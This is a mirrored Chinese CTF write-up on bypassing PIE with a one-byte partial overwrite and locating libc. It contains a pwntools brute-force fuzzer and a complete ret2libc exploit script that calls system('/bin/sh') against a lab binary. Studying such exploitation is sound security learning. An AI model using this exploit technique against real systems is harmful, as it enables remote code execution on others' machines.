0

bypass pie use partial overwrite2 and libcdatabase

 7 months ago
source link: https://delcoding.github.io/2018/11/bypass-pie-and-libcdatabase/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
3 年前 5 分钟 读完 (大约 718 个字)

bypass pie use partial overwrite2 and libcdatabase

  这篇继续学习PIE bypass和通过libcdatabase查找libc库。

DEMO1

  在上一篇文章中采用了爆破程序中的某个函数(如send)的地址,通过判断是否有信息返回作为判断依据,但这个前提是使用了fork进程,因为这样每次的地址才不会变。

  而在这个例子中,服务端并没有采用fork,我们每次请求的地址都不一样,所以就不能像上一道题的爆破做法。先看看程序代码:

  漏洞产生在read_msg(0, &s, 128, 10),前面的read_msg并不会溢出。

checksec如下:

  canary是没开的。这里采用的手法也跟前面相似,还是要利用partial overwrite,是程序产生crash,然后我们从输出的数据中发现有价值的信息。一样的因为pie的原因,我们只能操作最低一个字节,可以先写个程序爆破一波,并观察crash。脚本:

def fuzz():
for a in range(1,256):
p = process('./pieagain')
# p = remote(ip, 10008)
p.recvline()
payload = 'A' * 4
p.sendline(payload)

p.recvline()
p.recvline()
# pause()
payload = 'A' * 4 * 11 + chr(a)
p.sendline(payload)
try:
p.recvline()
print "======================ok------------" + hex(a)
except:
pass
p.close()

  然后可能在几个地方得到crash,然后对这些产生地方的地址进行筛选,挑选合适的点。这里我得到了\x83\xde等等。。。

  接着对crash出来的数据进行分析:

  可以看到这里泄露了libc的地址,但不是基地址,离基地址有这0xf76f3000 - 0xf7541000 = 0x1b2000,而这个差距每次都是固定的,通过readelf -S可以看到这是.got.plt偏移地址。

这里是我本地的偏移地址,我们再打远程时一定要换成远程libc的偏移地址。

  有了libc基地址后就可以写exp了:

# -*- coding:utf-8 -*-

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

ip = '192.168.10.11'
# p = remote(ip, 10008)
p = process('./pieagain')
pelf = ELF('./pieagain')
libc = ELF('./libc.so.local')

p.recvline()
payload = 'A' * 4
p.sendline(payload)

p.recvline()
p.recvline()
pause()
payload = 'A' * 4 * 11 + '\xde'
p.sendline(payload)
data = p.recv()
libc_base_addr = u32('\x00'+data[9:12]) - 0x1b2000
log.debug("libc_base_addr =======> " + hex(libc_base_addr))
# 细心的大佬发现这里是code base...
# program_start = u32(data[100:100+4]) & 0xfffff000
# log.info("program start addr: " + hex(program_start))

libc.address = libc_base_addr
system_addr = libc.symbols['system']
log.debug("system_addr: " + hex(system_addr))
binsh = next(libc.search('/bin/sh'))
log.debug("binsh_addr: " + hex(binsh))

payload = 'B' * 4 * 11 + p32(system_addr) + p32(system_addr) + p32(binsh)
pause()
log.debug("ready to call system...")
p.sendline(payload)
def fuzz():
# 看上面的
pass

# fuzz()
p.interactive()

DEMO2

  但我们没有libc时我们可以通过泄露两个libc函数的地址,然后取最后三位,因为基址的后三位为0,然后取libcdatabase查询,可以点击这里


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK